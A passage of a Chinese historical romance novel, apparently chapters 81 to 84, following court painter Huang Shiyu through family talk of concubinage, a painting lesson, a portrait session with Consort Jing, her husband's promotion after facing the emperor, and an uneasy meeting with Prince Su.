这厢曹妈妈还在伸着脖子眯着眼眺望。 冷不防素秋从一大簇绣球花后冒了出来,“曹妈妈。” 惊得曹妈妈三魂霎时出窍七魄,不停抚着心口念佛,气道:“吓煞我这把老骨头了,姑娘怎不在屋里伺候?” 素秋含笑道:“少爷少奶奶一齐做学问,我们又不是那起子眼皮子不沾水的,没得跑主子跟前讨嫌。妈妈不在上房亲自来书房是不是有什么要提点我等?” 曹妈妈凝噎,说一句“恰巧路过”就绷紧了嘴角离开此间,福泽见素秋飞给自己一记眼神,旋即轻手轻脚追过去,盯着曹妈妈拐上去清苑的复廊(注,中间有花墙间隔的游廊)方折返。 却说这曹妈妈本心倒也不坏,全然忠心程氏,体谅主子心底难言苦楚这才对少奶奶多有关注。 其实少奶奶大面上并无不妥,然细究起来还是有些儿霸道。少爷在府里的时间拢共就那么点,全是与少奶奶度过,就连爷们专属的书房也成了少奶奶的,平日不管少爷在不在,少奶奶百无禁忌,想进就进想出就出。 不过这世道的事多以男人为准则,简珣没有异议,旁人就没有置喙的道理,落在程氏眼底终归化成一声叹息。 然而昨晚一件小事,到底让曹妈妈上了心。 蕊珠离开书房后高一脚低一脚往自己“千里之外”的小轩走,走到半路无人之地蹲下抱膝闷闷哭。 自从少奶奶进屋,少爷就再不瞧她一眼,明明一开始还有说有笑的。 丫头可怜,从小在少爷身边长大,连身都不敢近,基本没有培养感情的机会,好不容易捱到开脸的岁数,少爷又迷上了少奶奶,新婚头一个月不给她机会,她不怨不恼,还念着给少奶奶做新衣裳讨巧儿卖卖乖,可少奶奶压根就没提携她的意思。 正常情况下,早该安排个通房以便主母月事期间服侍。 可惜黄时雨浑然不觉。 仿佛府里就没有这号人。 蕊珠正是思及种种才自苦不已。 不意此番全落进了曹妈妈眼里。 自懂事起,蕊珠就在大人的言传身教下得知自己的身份,她与其他丫鬟都不同,将来要做少爷最亲密的伴儿,知他一切喜好,时刻关注着他,也深深地爱慕着他,每一针每一线都是她无言的相思,她见证了少爷每年的身量变化,越来越高大英挺,他的贴身衣物全都出自她的手。 但只要为了他好,不让他分心,她就可以很听话很听话,做个最乖的女孩子,哪怕离得很远,触摸不到。 也正因为她很乖,少爷待她虽不亲近却很温柔。 若无少奶奶,两人多半就圆房了,也能在书房彼此款款相伴。 经此一事,曹妈妈早间在上房又看见丫鬟煮红糖水,眉头就皱紧了,晌午路过梅斋忍不住多瞧两眼,听守门婆子说自从早晨进去就没离开过,少奶奶与少爷形影不离。 来了月事也不忌讳。 曹妈妈的眉头拧成了一个疙瘩。 她离开梅斋径直回到了清苑,捺下满腹不满,谨守本分,并没多嘴的打算,这种事说一千道一万还得看主子脸色,主子不介意下人则缄口,却没想到程氏主动问起,曹妈妈便含蓄道出少奶奶来了月事,付妈妈功劳最大。 程氏幽幽道:“还是孩子,先由着他们吧。” 聪明的母亲不会明着做与儿子失和之事。 下半年再考虑也不迟,说不定梅娘肚子就有了动静,一切便也顺理成章。 反正阿珣熬不过女人十月怀胎的。 男人的劣根性,没有例外。 便是慎远不也在她怀有阿珣期间要了贴身小丫鬟,事后自以为神不知鬼不觉,以银子打发了事。 这是她与慎远感情最大的污点。 她宁愿他光明正大纳一房妾,收一个通房,而不是光风霁月扮演深情。 不过人死如灯灭,而他的爱护也是真的,程氏不再计较过往的云烟,只想阿珣平安到老,撑起宣道坊简府,而她也不用再小心翼翼地躲避着,大门不出二门不迈。 下午叶府来人传话,简珣正握着黄时雨的手,教她写草书,叶学士传他进府一叙,他不得不放下笔,净面净手更衣,白露为他重新束发。 这是谒见老师的基本礼仪,不仅举止恭敬,就连身体发肤乃至衣冠亦无不整齐洁净。 上回的教训历历在目,白露不敢再贸然行事,规规矩矩侍奉少爷梳头,系上嵌玉的雪蓝色缎带就欠身告退。 简珣抄起腰带丢给黄时雨。 这是个眼里没活的主。 “过来!”他佯嗔道。 黄时雨手忙脚乱接住从天而降的腰带。 “帮爷系上。”他端起架子,颐指气使的。 黄时雨拎着腰带走过去,他就更得意了。她系了半天系不上,便一股脑砸他怀里。 简珣慌忙躲避,“放肆,没大没小的。” 黄时雨几时怕过他,啐道:“有手有脚又有丫鬟,偏还要使唤我,安的什么心。” “你不会我教你啊,干嘛动粗,有辱斯文。” 他拽她回去,半哄半抱着。 黄时雨凝神稍作研究,男子的腰带不同于女子,有带钩。 简珣低着头教她撬开机关,黄时雨伸着笋芽般的白皙食指扣了扣,终于打开,不由笑着仰脸看向他。 “你可真聪明。”他夸奖道。 “我本来就不笨。” “嗯,那以后就麻烦你伺候我了。” 黄时雨小声道:“你不是有丫鬟……” “什么都让丫鬟来,我还娶媳妇做什么?” “你娶媳妇就是为了做这个吗?” “娶媳妇能做的可多了。要是觉得吃亏,不如……我也伺候你,帮你沐浴更衣……唔。” 黄时雨一把捂住他的嘴。 简珣被她捂出了火气,将她拉到屏风后,黄时雨早有提防,趁他不留神,从他腋下钻出就往外跑,途中还喊了琥珀与碧荷。 碧荷不如琥珀灵光,风风火火掀帘进来,就撞见了一脸尴尬的少爷。 简珣讪讪收回了手。 招风揽火的,把人惹急了便不管。他有口难言,生生忍耐下去,整了整衣冠怏怏不乐出门。 第82章 表叔 简珣前脚离府,黄时雨后脚就遣人去了趟保宁坊,得知姐姐在家,方才请示婆母出府。 画师自带了孤高神秘气质,寻常女子不太敢刻意接近黄时雨,再者未出阁的与她玩不到一处,出阁的年纪大多长她不少,有代沟,造成了她在京师往来的圈子极其简单。 难得她请求出门探望姐姐,程氏没有不应允的道理。 宝络寸步不离。 琥珀偷偷翻个白眼,不管做什么都抢在前头,挤开她。 这丫头也是个好脾气的,来少奶奶身边已做好了不受待见的准备,捱琥珀两记白眼也不往心里去。 白眼不痛不痒的,琥珀姐姐又没打她骂她。 车马不多时驶入保宁坊,黄家姐妹相见,眉眼间浮上了暖意,执手坐在退步说体己话。 黄时雨挑开支摘窗,透过窗子打量宝络,正在院子里教柳儿踢毽子。 “她师妹宝珠人品性格都没有问题,还耍得一手好拳脚,两三个魁梧歹人不见得能撂倒她,全家老小的身契又捏在阿珣手里,这样稳妥的人便是随你去天涯海角我都放心,下个旬假我带过来给你请安。” 黄莺枝愣了一下,眸光乍亮,动容道:“梅娘思虑的竟比我周全。” 黄时雨骄傲道:“我早就长大了!姐姐可要承下我的心意,不然我会忧思睡不着。” 黄莺枝莞尔,“那姐姐……便幸希笑纳了。” 姐妹俩四只手用力攥在一起。 身为女子走南闯北有诸多不便,谁不是为了生计硬着头皮走的,如今妹妹为她备下这么大一个惊喜,她岂会扭捏推拒。 黄莺枝想起了另一件事,“方才你提及月事,新婚燕尔的,旁人自不好指摘你,可日子长了你来月事再不闻不问简允璋身边是否有妥帖之人,仔细简夫人误解。” 妹妹不需要做贤妻,但得假装是个贤妻。 黄时雨柔声细语解释:“姐姐有所不知,他身边并不缺人,只不知为何一直未曾受用,昨儿还同我商议要将她们许配人家。我不至于蠢到赶节骨眼上为他安排,岂不与他唱反调,况且我去哪儿找堪比蕊珠白露的姿色。” 多此一举,画蛇添足。 既讨人嫌还落不着好。 黄莺枝的注意力全在“许配人家”四个字上,大为震撼,“都没受用过就要配出去?” 黄时雨“嗯”了声,“我时常也琢磨不透他。” 弄不明白的事儿她就懒得推敲了,其实就算推敲也敲不出个所以然。 “一个个如花似玉的姑娘他不用,你再上赶着添人确实多余了……”黄莺枝微微点头,灵光一闪,不暇思索道,“简允璋他,莫非,他要为你守身?” 黄时雨咬了口绿豆糕,鼓着腮帮道:“姐姐,你不长进了,他有什么理由要为我守身?” 黄莺枝哑口无言,抬眼踌躇望向妹妹,好个清亮的,一汪没有涟漪的小溪。 梅娘竟是个妙人。 “你倒是个明白的,我才安逸几时竟要忘记从前的教训。”黄莺枝抿唇自嘲道,“刘通成亲前不也视我为心上人,承诺一生一世呵护我,成亲后有段时间还为我守身如玉。” 黄时雨默笑不语,眨了眨眼看着姐姐,仿佛在说我聪明着呢。 黄莺枝揉揉她脑袋。 迄今为止也只从简珣口中听过鸢娘这个心上人,还不是说抛下就抛下。 薄情着呢。 再一个,他有什么理由对一个失贞的女子动情? 到现在还用宝络防着她呢。 况且,他本就是因为仕途才娶得她。 姐妹二人便不把时间浪费在男人身上,一齐讨论清宁县的风土人情,举国最繁华的贸易码头,西域蕃商络绎不绝,黄莺枝拍着胸脯保证要挣大钱。 有了钱就能成为梅娘坚实的后盾。 天黑前黄时雨才回了宣道坊,简珣被老师留在叶府用饭,恰巧给了程氏与黄时雨谈心的空间。 婆媳二人用了晚膳,气氛融洽。 膳后她们坐在紫藤架下品着今年最新的春明梨花,比刻意窨制的茶还来得香醇。 茶具则是一套相当顺应季节的冬青釉冰裂纹,颜色仿若碧水洗过的天空,极美,配着八瓣葵形的金丝楠木茶托,光侍茶的丫鬟就有三名。 这一顿茶总花费足够底层一家五口一年的嚼用。 程氏挥了挥手,丫鬟们双手交叠身前欠身退下,退到了主子大声召唤能听见的地方即可。 这是有话要说。 黄时雨便亲自侍茶,为婆母斟上一杯。 程氏柔声问:“梅娘,阿珣待你可好?” 黄时雨温声回:“体贴温柔,阿珣非常照顾我。” 程氏沉吟道:“那你可曾想过他心底也有沉重难言的压力,关系着整个简府。” 黄时雨字斟句酌一番,“梅娘愚笨,还请您明示……” “上个月济恩寺梨树林的劫难时不时提醒我,倘若阿珣有个好歹,咱们宣道坊简府就结束了。”程氏淡淡道。 简府是琅琊简氏的产业不是外姓女子的。 没有阿珣,天下之大再无婆媳容身之地。 不管去哪儿皆是寄人篱下。 也就琅琊简氏门风清正,没有闹出族人相残争夺家业的丑事,但前提得是简珣活着,活着才会有安国公不遗余力的维护,没有简珣的话,有一个姓简的子嗣也行。 否则,任何人都能理直气壮夺走一切。 这便是上至权贵下至百姓不惜一切也要有个儿子的缘故。 实在生不出的宁愿过继,以百年后家业拱手他人为代价,谋求活人有片瓦遮身。 子嗣之重不仅关系血脉更关系着寡母孀妇的命。 亦是时下世情。 黄时雨点了点头,婆母没有骗她。 程氏幽幽道:“我比任何人都不希望发生那种事,却也不得不给咱们留个退路,你,能理解我吗?” “我,理解。”黄时雨抿了抿唇。 那就好。程氏非常清楚黄时雨的品性,这是个好孩子。 “你先调理着,机缘到了说不准今年就能怀上,若天意非要蹉跎,明年,你可接受阿珣纳房良妾?” 这种事哪有她接不接受的资格,黄时雨和顺道:“一切全凭娘做主。” “你是个懂事的,我不亏待你,定然担保你做个光鲜体面的正室,谁都不能越过去。孩子将来记在你名下,自己养或是交给我,由你拿主意,不论哪一种,他此生只会认你为母。”程氏打量着黄时雨的神情,又补充了一句,“这也是阿珣的想法,他有没有对你说?” 黄时雨怔了怔,连忙摇头,“没有。” 程氏叹道:“他最疼你,怕是不忍心,总想着再等等,万一你怀上了呢。今儿我来做坏人,提前告知了你,若是有什么不满便对我不满吧。” 这话就严重了,黄时雨起身屈膝欠身道:“儿媳不敢。” 程氏将她扶起,拉着她的手引坐自己身边,“那是最坏的一步,只要你今年怀上,兴许什么问题都迎刃而解。以我对阿珣的了解,他早对你用了心,妾不妾的有什么要紧,谁也分不走你半分宠爱。” 黄时雨思索片刻,迎上了程氏的眸子,“娘,您与阿珣的想法我理解,我尊重你们的决定。” 纳妾也好生子也罢,时下有余钱的男人都要做的事,简珣没理由不做。 况且他是真需要一名子嗣庇佑寡母保住门庭基业。 目光是澄澈温和的,声音是郑重其事的。 程氏清楚地看见了黄时雨的真诚。 是个清澈见底的人,没有半分虚伪。 阿珣把她养得真好。 被深爱着,所以充满底气。 否则,该如何解释那近乎凉薄的冷静。 程氏允许她哭泣、抱怨、恐惧,也会好好地安慰她,许诺更多好处,可她偏偏自持令人齿冷。 婆母的神情复杂难辨,黄时雨心头咯噔,以为自己说错了什么。 三更天,月上深空,弯弯的娥眉新月,犹如梅娘含笑的眉眼。简珣婉拒了叶府的留宿,匆匆赶回家中。 可惜还是不够早,梅娘早就歇下了。 考虑她正在月事中,疲乏嗜睡,自己贸然爬上床定会扰了她清梦,而且他饮了酒,有味道,不能熏了她,便在书房沐浴更衣,歇息一晚。 日子还得照常过,黄时雨整顿精神上衙,眼下头等大事莫过于初六静贵妃的肖像。 攸关仕途! 贵人肖像须在细绢描绘。 唯有绢才能呈现笔墨细微之处的幽妙与美感,笔痕既能如刀刻般清晰了然,亦可朦胧若轻纱,非熟宣所能及。 伴随极致美感而来的是极高的画技要求,普通画师,经验粗浅,通常难以掌握墨色的自然运转。 此外,绢的装裱难度比画更难,格外考验裱画师的功力。 不过无需黄时雨操心,画署有的是大裱画师。 她的天赋恰是墨色运笔,天生就是在绢上作画的料,简直是老天爷追着赏饭。也正因如此,才得到了诸多前辈赏识,但天赋只是让她在这条路上走的比普通人快,却不代表能快过几十年积累的前辈。 所以她一刻也不得闲,潜心钻研,积累经验与技巧。 闻道芝仔细翻看黄时雨临摹的两幅肖像,总体来说没啥问题,唔,保住了画魁的名声。 倘若再精进定会受益无穷。 二人在画署雕琢技艺,时间过得飞快。 又连续翻过两日,明儿便是黄时雨进宫侍奉静贵妃的日子,闻道芝盘算几番,终于下定决心带她出了画署。 “大人,咱们这是去哪儿?”黄时雨茫然不解。 “去画阁。” 闻道芝一副轻描淡写的语气,“低调些。” 黄时雨眨动的睫毛间全是惊疑。 “我好说歹说才劝闻遇教你半天,结果他还真就只教半天,忒不近人情了。那咱们脸皮干脆放厚了些,他不理咱们,咱们直接找他,再蹭个半天,明儿进宫底气岂不是更足!”闻道芝抬了抬眉。 “这不大好吧,咱们连拜帖也没送,”黄时雨不大情愿的,劝阻道,“如此贸贸然,万一小闻大人责备起来……” 必然只责备她,闻大人倒是可以高枕无忧。 闻道芝瞅着她那一脸怕事的怂样,没好气道:“责备我担着,你不必理会。” 黄时雨只好应承,不应承也没法儿,总不能跳下马车吧。 再次造访画阁,穿过三进的院子,又穿过后罩房的甬道,径直进了后花园。 园中风景独秀,传统的江南布局,分布着错落有致的楼舍房屋,二人一路畅行无阻,照旧走到上回最大的那间厅堂。 老管事显然未料才隔了几日闻大人又要打秋风。 迟早打闭阁喽。 闻道芝也知自己素日是个什么德行,恐引起误会,连忙道:“不打了不打了,我找小闻大人蹭堂课呢,他教一个弟子是教,教两个也不多,咱们只蹭半天。” 黄时雨尴尬地瞄了老管事一眼,讪讪然。 不意事情进展的相当顺利,小闻大人没有责罚她,更没有说难听的话儿,仅是淡淡扫了她一眼,就要带她走,却被闻大人一把拦住:“想什么呢,你那弟子年纪同她差不多,光你一个我都不放心。这样吧,我带她进侧室,关了槅门,你声音大点就成。” 闻遇脸上闪过了难得一见的狼狈,难堪道:“姑母,您在说什么?” 黄时雨粉靥倏然涨红一片,万没想到闻大人口无遮拦,连带把她也窘迫进去,幸而急中生智,她描补道:“不,不打紧的,在下官眼里小闻大人不仅是上官,连年纪也同我表叔差不多,说一句下官的长辈也不为过,相当可靠……” 表叔? 闻遇微微僵硬。 闻道芝方才想起两人差着七岁呢,这么大年纪好像还真能做她表叔,总归黄诏侍就是个孩子。 她轻咳了声,“是我失礼了,不过你那弟子的年纪确实不合适。走吧走吧,咱俩先去侧室。” 捞起黄时雨的手溜之大吉。 闻遇的脸色不大自在,悻悻迈入了隔壁的屋内。 京师多的是想嫁给他的小丫头,他又没有成亲,竟被她当成了“表叔”。 然而他见过的人太多,有清高自傲,有温柔内敛,也有咋咋呼呼夺人眼球的,唯有她,有一双最干净的眼。 这样的眼睛,令人自惭形秽。 以至成了“表叔”,他也怨不起来。 带着不为人知的心事,闻遇平静无波地授课,单独为黄时雨讲的课,陆召琰被打发去煮茶了。 黄时雨盯着闻遇的手指,呆怔半晌,恍然道:“怨不得我的绢打湿后总是差点意思,原来你是这样延展的。” 倘若无人指点,不知得要何年何月才顿悟。 她模仿着他的角度,伸出了手。 素若羊脂凝玉,娇柔的仿佛碰一碰就折了,玉簪花似的,携着那惊心动魄的甜香,经过了他紧张的掌心,落在湿润的绢底。 闻遇的手滑了一寸,险些碰着了她,眸色几番变幻。 第83章 心惊 微风穿过大敞的葵形木棱窗子,撩动她额畔柔软的碎发轻舞,恰如他沉浮的心。 闻遇缓缓收回了手。 又是那种眼神。 黄时雨发现了新门道顿时忘形,结果一抬头,看见了双被春雨洗净的墨色黑眸,心止不住往下沉。 上回藏画楼廨所,小闻大人也是这样,黝黑深晦,宛若沉寂的冰渊。 他,应是对她不满。 却隐忍着。 闻遇不知自己做了什么,黄时雨忽然撤回了身子。 那么近的距离仿佛一场梦。 许是没见过世面的跳脱不够得体,失了礼数吧。 他的一举一动在她眼里都是新奇的,从未领略过的花样,才一时失了态。 黄时雨捺下好奇与兴奋,摆出大人们习惯的稳重,不苟言笑端坐。 实在开心就藏在心里跳一下。 闻遇想说点什么,动了动嘴角,再次开口,却只能如常授课。 姑母一直防贼似的盯着他。 此行收获颇多,黄时雨满载而归,次日一大早就随内侍进宫,照旧从右银台门经过。 期间还遇到了当值而归的简珣,身后跟着个扛被褥的小内侍,福泽似的年纪。 夫妻二人中间隔着宽阔的甬道,浮光一瞥,匆匆而过。 即便走出了很远的距离,黄时雨依然感受到身后两簇灼灼视线。 他好像很喜欢看她,哪怕她在做一件极微小极无聊的事儿。 譬如趴在树叶观察瓜牛儿(注,蜗牛)的蜿蜒路线。 他也能津津有味观察她。 简珣立在原地深深看了片刻,路过的宫人却小心翼翼觑他,复又垂眸错身而过。 经常走这条道儿的或多或少都会关注他。 宫城可真大呀,比简府不知大了多少圈,全靠两条腿步行。引路的内侍攀谈道:“咱们娘娘的兰台殿算是距右银台门比较近的,再走一盏茶就到了。” 黄时雨含笑抹了把额头,“好嘞,劳您跟着我受累了。” 说话还挺好听。 内侍不过奉旨办差,但也属实累啊,有黄诏侍这句话,心里爽透几分,人也就气清几分,客气道:“都是替主子办差的,不敢当。” 通常受到贵人特别恩赏之人才有资格乘轿辇车舆。 作为奉召入宫画画儿的,说白了就是要去侍候人,黄时雨此行哪里敢想代步,从天不亮就赶过去,走到天光大盛方才走进了兰台殿。 贵妃娘娘早已梳妆完毕,现下整好在兰台殿的杨柳鹅卵石小道散步消食儿。 宫人来禀黄诏侍已经在外候着。 静贵妃才懒懒地搭着懿阳的手前去见一见。 心腹宫人极力吹捧黄诏侍的美貌,静贵妃早有准备,夸不夸大无所谓,只要不污人眼又有本事,她也不是不能接受的。 不意黄诏侍果真如传闻清媚脱俗,浓淡相宜,穿着寻常女官的青袍淡淡立在那里,满园胭脂春光霎时退让三分。 稍微理解德妃缘何发疯了。 但不理解德妃的愚蠢。 这不仅是大康的官员,还是臣妇,是安国公侄媳,莫说皇帝不会瞧一眼,便是瞧了也不至于饿到起心思。 懿阳明显闪了神,愕然须臾复又恢复如初。 原来简允璋的妻子长得这般好看。 心底多少有些幽怨,思及三皇兄的处境,她不得不安静地藏好这份幽怨。 黄时雨规规矩矩向前谒见。 普通女子和宫城女官谒见贵人得屈膝躬身施礼,而皇城官员的话,不论男女皆揖长礼。 这也是黄时雨喜欢为官的一个原因,许多地方,使她觉得自己与男子是平等的。 她恭敬道:“卑职给娘娘请安,愿娘娘千岁万福。” 音色柔婉却不娇弱,中气十足。 静贵妃笑道:“不必多礼。” 遂吩咐宫人伺候黄时雨入座,画署随行的画员则搭好了画架,另有一人执笔记录静贵妃的神态以及突出特征。 面前画架摆好的细绢断不可能是最后成品,静贵妃能坐多久全凭心情。黄时雨唯有用小闻大人教过的速记手法描下娘娘的轮廓,深深记住她的模样,回去精心雕琢。 看得出黄诏侍自持的动作中略略拘谨,静贵妃温和道:“本宫今儿空闲,就在园子里多坐会,黄诏侍不必紧张。” 语气仿佛普通的长辈。 懿阳偏头打量西洋景儿般地看向母妃。 知道母妃心思是一回事,亲眼瞧见又是另一回事。 这么个温和慈祥的贵妃娘娘,与德妃形成了鲜明的对比,黄时雨连忙躬了躬身,益发自持道:“娘娘慈和宽容,卑职感动无以复加。” 静贵妃在对她释放友好。 一个小诏侍凭何使贵妃娘娘另眼相看呢?带着这个疑问,黄时雨的小脑瓜飞快转起来,就想到了安国公这尊大佛。 阿珣再厉害也只是个不及弱冠的小郎君,贵人因为他或许会客气三分,但静贵妃明显不只是客气,而是在有意无意地笼络她。 这份笼络体现在宫人不敢有一丝一毫的怠慢,新鲜的茶点,以及贵妃娘娘足足坐了一个半时辰,中间只更衣了一趟。 一个半时辰是静贵妃的极限,宫人心疼主子疲累,便上前相劝搀扶她回寝宫休息。 黄时雨等人见状先后起身,躬身送别娘娘。 简允璋只是安国公庶弟的嫡孙,母妃也太给黄诏侍体面了。懿阳伴着静贵妃来到寝宫,挥退左右,嘟嘟囔囔道:“母妃,好端端的您怎么学三皇兄,待谁都客客气气。那琅琊简氏固然不容小觑,可简氏二房还是正室所出呢,也没见您像今日这般。干嘛非对三房一个少奶奶礼遇有加。” 静贵妃横了她一眼,“你懂什么。宣道坊三房庶出又如何,三房老太爷的生母不仅是贵妾还是原配的亲妹妹,安国公的亲姨母,倒是二房四房五房,生母是后来的继室。” 单按血缘来算,简氏的五个房头,三房才是安国公最亲的。 明眼人都瞧得出几个弟弟里,安国公最偏哪一个。 不是三房最会拍马,而是三房最近。 静贵妃揉着昨日新染的蔻丹,“这本没什么,反正都是亲弟弟,怪就怪其他房头不争气,仅剩几个老家伙硬撑,年轻一辈日趋没落。赶巧儿,人丁凋零的三房却冒出个简翰林,换你是安国公,能不当宝么。” 门阀世家,哪一个不是提前十几年甚至二十年栽培下一任家主。 倘若简翰林入了安国公的眼,过个十来年,就不是黄诏侍向她行大礼,而是她讨好黄诏侍了。 那么举手之劳,结个善缘,又有何不可呢? 虽说事无绝对,可简翰林绝对是有几分水平的。 才当值了两回,就给皇帝留下印象,昨儿还专门点他又值一回,倒也不是什么什么大事,单纯觉得这个小翰林比老不死的顺眼。 却说皇帝,因武科举舞弊案与老臣吵得不可开交,情急到脱靴砸陈季青脑袋,陈季青那个犟种当场撞柱,若非两边都有人拉着,险些酿出人命。 真正的朝会压根不似老百姓想象中的庄重肃穆,唇枪舌战不亚于菜市口,还曾出过两位重臣当庭互殴的丑事,事后严惩不再多述。 天子雷霆震怒,朝会没散就关押了兵部侍郎年霄山。 上下地动山摇,兵部人心惶惶。 后宫不得干政,而懿阳看起来也是个没心没肺的,这些事静贵妃自然不会同她说,只不紧不慢警告了天真无邪的小公主,“你最好别再盯着简翰林,莫要给你三皇兄添堵。” 懿阳脖子一扭,嗤道:“儿臣想要什么样的好郎君没有,谁稀罕小翰林。” 也是个嘴硬的。 她心里又恨又爱的小翰林其实也没那么风光,换谁也不想赶在此时被皇帝钦点。 无功无过算幸运,稍有不慎极有可能招来杀身之祸。 这便是叶学士连夜召见简珣的缘由。 精心栽培的门生倘若因此遭难,岂不功亏一篑。 眼下唯有期待简珣随机应变,逃脱无妄之灾。 黄时雨和程氏对此茫然所知。 所谓伴君如伴虎。 知道了怕是辞官的心都有。 昨夜当值,简珣如同赴死,惶恐之余更生悲凉,他若死了阿娘和梅娘怎么办? 不过阿娘那么坚强的一个人,定会想法子从族中过继个靠谱的承嗣。 至少担保婆媳二人活着的尊荣,至于死后,人都死了还管这生不带来死不带走的门庭基业作何。 昨夜,静谧可闻针落的金銮殿,矗立着一排排灯树,烛火辉煌。 他穿过正殿来到偏殿,在暴怒的皇帝跟前讲解经史典籍。 阴沉的皇帝忽然打断他,“陈季青这样的刚直名臣将来载入史册,必然誉不绝口,受世人褒扬。朕,若铁了心要严惩他,那你们这群文人是不是要将朕写成个残虐不仁的暴君?” 两句话一百零八个陷阱。 简珣下颌微微绷紧,撩起衣袍跪地请罪。 不管有罪没罪,皇帝不开心,所有人都得跪着请罪。 朝会发生的事,不管安国公还是叶学士都不会隐瞒简珣,培养的就是他对政事的敏感。 三年前神策军并入疾骧军,军心似乎还未归拢一处,犯了皇帝大忌为其一。 今年武科举,兵部举荐乃至选拔的武官皆为疾骧军,上千神策军竟无一人中选,犯了皇帝大忌为其二。 史无前例的怪象。 神策军原将领咬牙受了二十军棍告御状。 终于闹到御前。 皇帝当庭掀桌,一点脸面也不留,着骁影卫将年霄山当街拖进了宫。 而陈阁老清廉刚正,一力劝阻,摆事实讲道理,坚称不存在舞弊,神策军的实力确实不如疾骧军。 他虽有犟种之名,却忠于朝廷忠于礼法,所言亦是实情。 不意愈劝皇帝的火势愈盛,跟点着的炮仗似的,窜上天顶。 最后谁的脸面也不给,还脱靴砸陈季青。 此等羞辱,陈季青一头撞向楠木圆柱。 这样的纠葛岂是一个年轻人所能应对的。 皇帝并没有指望简珣能替他分忧,但他要是说的不中听,这辈子仕途也就到这里了。 简珣骑虎难下,夸皇帝未免虚假,支持大义陈季青小命难保。 世上没有无解的题。 只要是题就有迹可循,包括皇帝的怨愤,以及怨愤背后不宜言明的目的。 皇帝耐心有限,留给思考的时间并不多。 简珣沉下心,目光坚毅而清亮,“皇上万岁,万年之后的史书如何修撰,臣现在并不知,却知道皇帝之所以能做盛世明君,而陈阁老只能做个刚直名臣的原因。” 四下就更安静了。 皇帝缓缓扬眉。 沉吟良久,忽然就笑了,“说说看,什么原因。” 简珣松了一口气,知道自己过了第一关。 “陈阁老忠心耿耿,功劳与优点不胜枚举,且只认道理,恕微臣妄言,这样的他缺少变通就少了皇上的眼界。而皇上雄心壮志,一览天下,看得是万世基业,古往今来,成大事必然要有所变通。” 不懂变通的陈阁老必然要成为皇帝的牺牲品。 皇帝想要掌握疾骧军,首先疾骧军与神策军得是一心。 兵部此举,无异于再次将两军割裂。 皇帝杀人的心都有。 偏陈阁老在这节骨眼添堵,简直是在挑战皇帝的底线。 皇帝想要牢牢攥住绝对的统治、笼络武官,谁与他唱反调谁就得死。 简珣无法得知兵部尚书为何没看懂皇帝的暗示,完全割裂了两军,却知自己暂时过关。 似乎不只是过关。 四月初十,吉日,秉笔太监来翰林院宣读圣旨,并授予册文册宝,简允璋从从六品修撰升任从五品侍讲学士。 此后开始立于讲筵正式伴君。 翰林院升一级堪比旁人连升三级。 黄时雨尚不懂其中关窍,心道简珣只比我大了半级,我要更努力了。 画成之日,天不亮就再次进宫,引路的还是那位内侍,打远就开始朝她作揖,道着恭喜。 内侍身边站着个熟悉的身影,不是旁人,是肃王。 黄时雨吓得左顾右盼,没人。 是了,今儿是来送成画,只有她自己。 第84章 小鹿 肃王今儿穿着较为正式的常服,朱红色衮龙袍,腰系四指宽的镀金伽楠香木带銙。茶褐色的伽楠香木在金色的托座上迸射夺目的尊贵,那是一种久处上层权势中浸润出的天然贵气,令人望之生畏。 黄时雨捺下了汹涌的思潮,踟蹰归踟蹰,却无论如何也不能失态的,况且肃王跟从前不一样,并未霸道迫她相见,甚至相隔数月才见一面,也未在画署出现令她左右为难。 这偌大宫城有肃王的母后与皇兄,自己一个做工的既然来此,那么相遇必是情理之中,毕竟大家都要经过右银台门。 因而万不能露了怯,只会显得心虚上不得台面,不若大大方方坦然一些。 打定了主意,黄时雨驱走纷繁杂乱的头绪,霎时轻松大半,人一轻松整个状态也益发松弛。 “殿下金安。”她低着头躬身作揖。 韩意淮颔首,凝在眉宇的忧思在她闯入视线即刻云开雾散,唯余眷念目光久久在她脸颊徘徊。 黄时雨眼睫微眨。 倘若仔细观察,二人皆为浅浅的内双,只肃王的眼皮更薄一些,明灿目光多了几分犀利与男子的阳刚,黄时雨则相较柔美温软,不过都有着相同的稚气感,无辜感,打眼望过去没什么攻击性。 金鹤一把扯住兰台殿的小内侍攀谈,“你是有米公公的小徒弟禄海吧,瞧着面善,可怜见的,这么早就离了师父在兰台殿打杂了。” 禄海赧然地挠了挠脑袋,低声细语回:“常侍大人没认错,是小的禄海。小的是个没福气的,脑筋瓜儿不如旁人好使,仅剩一把子牛力气,跑跑腿儿倒也值当。” “嗐,有米跟前的石头都能成精,你哪里是不好使,不过人有旦夕祸福,一时没落罢了。”金鹤慈眉善目含着笑,“好好干,说不准哪天也能像你师父在朱雀街附近的坊买个大宅子,再娶个媳妇,人也就就有了归根之处。” 小内侍禄海眉间浮起了惆怅,苦笑,没敢接话。 说回这厢的黄时雨,自打朝肃王揖完礼,后退半步等着引路的小内侍一齐辞别,却见他与金鹤攀谈起来,渐渐旁若无人越过了她与肃王,愈走愈远。 黄时雨急忙提着袍摆追过去,余光瞥见肃王也闲庭信步,与自己并肩而行。 肃王定眼瞥着她,“怕什么,不会遇到你家的简侍讲。” 黄时雨斜挎着比她上半身还长的画轴,小小的脸上满是忧患,显得有些儿可怜。她垂眸道:“您的事儿他都知晓了,只是……只是还不知您是谁。便是为着殿下的名声,咱们还是回避些吧,总好过捅破窗户纸三个人都难堪强一些,也当是殿下发发善心,怜悯我了。” 韩意淮闻言,拧了眉,问道:“他,为难你?” 原以为简珣会休了她,不意一丝儿浪花也未掀起,现在想想,平静的背后未必没有刁难。 若真如此,那他也不装了。 黄时雨连连摇头,急忙撇清误会说没有,“他是个善性的,没有为难我,所以我也不能蹬鼻子上脸,再跟您牵扯不清。当初咱俩事出有因,谁也怨不得谁,可到底不是什么光彩事,就算为了避嫌……也,也不该再说话的。” “原来,认识我,是一件不光彩的事。”肃王很会抓重点,蓦地停下步子审视她,如此她哪里还敢继续走,有些着急看向引路的小内侍,眼里含着祈求,小内侍仿佛瞎了,只管闷头与金鹤往前走。 “我跟你不一样。”韩意淮轻声道,“认识你,不论从前还是现在,都是我一生中最快乐的事,哪怕从未得到过你承认,哪怕只能在阴暗角落见得不得光,我都不后悔。” 黄时雨后背冒了一层虚汗,端正心神道:“见了光,对谁都不好。” “只对你不好吧。”韩意淮哂笑,给她理清楚事实,“你本就是我的,是简珣命好,拿的出正室的位置给你,否则我一定会让他死,断不能将你拱手他人。” “下官感激殿下成人之美,”黄时雨勉强牵出了一抹笑意,始终盯着青石板铺就的路面,“过去的事就过去吧,再牵扯下去,世人只会鄙夷下官,觉得下官是个祸害夫君搅乱画署之人。” 